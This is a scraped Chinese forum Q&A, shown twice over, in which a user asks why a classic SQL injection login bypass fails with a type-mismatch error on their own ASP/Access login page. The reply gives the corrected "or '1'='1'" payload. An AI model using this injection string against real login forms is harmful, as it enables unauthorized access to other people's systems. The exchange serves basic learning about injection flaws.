sql 语句简单注入的有关问题
日期：2014-05-17 浏览次数：20979 次
sql 语句简单注入的问题!
select * from aa where username= 'a 'and userpwd= 'c ' or 1= '1 '
这条sql语句能执行( 密码和用户名是错的但能显示出记录)
但是我放到我自己写的简单登陆页使用怎么报错呢?
Microsoft JET Database Engine (0x80040E07)
标准表达式中数据类型不匹配。
/meirong/admin/Tologin.asp, 第 18 行
是这条语句报的错 rs.open sql,conn,1,1
请问有人会简单sql注入我想知道怎样才能用我写那条sql登陆成功!
------解决方案--------------------
select * from aa where username= 'a 'and userpwd= 'c ' or '1 '= '1 '
select * from aa where username= 'a 'and userpwd= 'c ' or 1= '1 '
这条sql语句能执行( 密码和用户名是错的但能显示出记录)
但是我放到我自己写的简单登陆页使用怎么报错呢?
Microsoft JET Database Engine (0x80040E07)
标准表达式中数据类型不匹配。
/meirong/admin/Tologin.asp, 第 18 行
是这条语句报的错 rs.open sql,conn,1,1
请问有人会简单sql注入我想知道怎样才能用我写那条sql登陆成功!
------解决方案--------------------
select * from aa where username= 'a 'and userpwd= 'c ' or '1 '= '1 '
免责声明： 本文仅代表作者个人观点，与爱易网无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
